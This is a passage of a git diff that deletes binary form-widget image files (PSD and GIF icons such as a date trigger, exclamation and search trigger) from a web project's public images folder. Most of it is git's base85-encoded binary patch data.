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 diff --git a/public/images/default/form/date-trigger.psd b/public/images/default/form/date-trigger.psd deleted file mode 100644 index 74883b21c54ba3552492162863caf022d51e43c1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 12377 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 BA5{PV diff --git a/public/images/default/form/exclamation.gif b/public/images/default/form/exclamation.gif deleted file mode 100644 index ea31a3060a36a625cb5cfdf4fdc5cb4fa5c3b239..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 996 zcmZ?wbhEHb6krfwXlGz>`0sGY+vu>b$x(l^!y&e3LT!$PJ06d9I~VJ7A=2?olFzvm zzpDxE7n6N1CI(zd3A#}bd9NVyZb9tbn*6)9`43}*9>oVgP7HaP6#6VR?0I_l!meOY(6|dTBUw78N>aBj$UH@iM{ilZ1FAYgw8_pbc0Z{x51oBkf&`s?Q9|Ns9pjDkTQ0*XIbm_d%z0TG})!N75lfssSTW5a@j z7VZsy6h0k$;Gk@@Yl-LKR#u*NrzJaX3aNBVGqZFP(Gfc8+b>uAY)8hyXKfvg1xYiW zY*bF=5>dbAA)s8qF(=rm< znzH#Wl@*DQugyk|h0s(J9u~z4MZR499ryhC^~?K*w-=e{wl~-nv>Egj1cL7gguBx% zT)Zq@NE=-Nt6g4JyGT~9fVo?Mjr%bh_W%^(#8yHO+#|w*$V3wYFrM_Cf1JV+84je7 z9ROpGU-)jyX(BU$6nbeLjSW4@*$~LtaEfn9=b%FPo5J`zLU_AExy0xc;4Ihg&$RuV zvJGs78Rz*%p2AAl3(x<8lzp}-|FX4l%|7EfIvgRBjB8tSQLP1VZWEF#ywdLj z>2hyD&Cz7(vFsX(us-NkLs+sfDkV2EMfeY2cqXqlT3nl0R8N;Z551!ZFX)PvHbvg; zPAF=Ql@G){8oW?FobYU%-aQi8(syOzQ{37bFFif|+O^~xchYiY*TsbylHyFUEVrOS zC@mHh+?B~>#g(;XRrU9uJgcg0tgWkKmA77d(0=`qGNYy=^WpQ%CrV+BN>bPLw6R6f z(sR2_!|q(n>iQ^DjS2e4MK5Qv`<8AFEsF-0Btwh&iZ>0-?TxLUQpLzh z&8rU$BjfVd`o|+*kbdR$!ncucOIodVe0*G|(@jlJ&&BTL3F4!sWQKrZSsrbm`jlswPRiNw~ox#)EssIi3K_U?mR$7V-IC9eE}g* z5#SHoR>a6~NhI<=Q;WTt%?}Qu9NUN;+@wtJJS0y=!z59V(h!KT_cmHu5NujLLCxE9 z_QU0%P-;FGb5tI6*gk|&C@tm`|9+v*B6nv=lO}$S+iOD$Mn~aW%lOvrmnW;VvcjwTy1x_M|Vx7g?UOR%A{vxR1=O9xx`_0#)mAz z#O%%n@__a?l=898*N7xDAiI1b<_~Z{nslUk?g_Dey!Eax#h5@k{{; z%`faJ5{8R)QaC;cQD8x5`VzNXi1Wqp3x`c^8P{6P{gaVWuFtYe7c(1?zIg}q~%W>VJ1sc%Av?5s&yuiMsG8Vvph~HOnJjUP7z}R9x z!{}s!KCBJ0F`$WM&Ver~;K&ocSHW(s6Mh)nO&1ErxjYUP9z|fJI2_q7U~QAux`?+R z3gs}A84lrf=7C(=X6VrsYzT(A2H$czA`b%`i`+&{!uU_X)(G<^EyNUO6=M{u;y53QM-q4Y5!fjNf2B$c3=RvJnhbNor$)h(^K&^hwf=q`1g%>cIxsnNp85qN`tNhU3jbmaN?09D@dd_WcK8kleih diff --git a/public/images/default/form/search-trigger.gif b/public/images/default/form/search-trigger.gif deleted file mode 100644 index db8802beb370d7554d5319c0e0d5c4ecb8da2c5b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2182 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 